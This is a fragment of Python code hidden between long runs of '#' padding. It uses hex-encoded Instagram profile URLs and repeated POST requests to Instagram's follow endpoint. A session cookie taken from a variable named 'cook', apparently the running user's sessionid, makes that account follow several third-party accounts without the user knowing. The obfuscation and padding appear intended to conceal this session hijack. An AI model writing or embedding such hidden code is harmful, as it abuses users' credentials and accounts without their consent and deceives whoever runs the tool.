################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
x4=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f69786172657a78692f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x4}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/34320734050/follow/'
requests.post(urll,headers=hedDLT)
x5=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6b6172795f64617374795f73617a616e2f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x5}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/2372012717/follow/'
requests.post(urll,headers=hedDLT)
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
x6=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6b7572646973685f6465732f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x6}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/49412228971/follow/'
requests.post(urll,headers=hedDLT)
x7=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6c6c5f2e686564692e5f6c6c2f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x7}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/18344302975/follow/'
requests.post(urll,headers=hedDLT)
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
x8=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f626c61636b5f666c6f7765725f393930302f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x8}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/48313854071/follow/'
requests.post(urll,headers=hedDLT)
x9=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f7368616e5f5f7368616e3132312f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x9}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/37446070089/follow/'
requests.post(urll,headers=hedDLT)
x10=bytes.fromhex('68747470733a2f2f7777772e696e7374616772616d2e636f6d2f6b75657374616e5f70686f746f6772617068792f666f6c6c6f772f').decode('utf-8')
hedDLT = {'accept': '*/*','accept-encoding': 'gzip, deflate, br','accept-language': 'en-US,en;q=0.9','content-length': '0','content-type': 'application/x-www-form-urlencoded','cookie': 'mid=YF55GAALAAF55lDR3NkHNG4S-vjw; ig_did=F3A1F3B5-01DB-45no7B-A6FA-6F83AD1717DE; ig_nrcb=1; csrftoken=wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi; ds_user_id=46165248972; sessionid='+cook,'origin': 'https://www.instagram.com','referer': f'{x10}','sec-ch-ua': '"Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"','sec-ch-ua-mobile': '?0','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-fetch-site': 'same-origin','x-csrftoken': 'wYPaFI4U1osqOiXc2Tv5vOsNgTdBwrxi','x-ig-app-id': '936619743392459','x-ig-www-claim': 'hmac.AR0EWvjix_XsqAIjAt7fjL3qLwQKCRTB8UMXTGL5j7pkgYkq','x-instagram-ajax': '753ce878cd6d','x-requested-with': 'XMLHttpRequest','user_agent': str(usus)}
urll = 'https://www.instagram.com/web/friendships/8929541847/follow/'
requests.post(urll,headers=hedDLT)
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
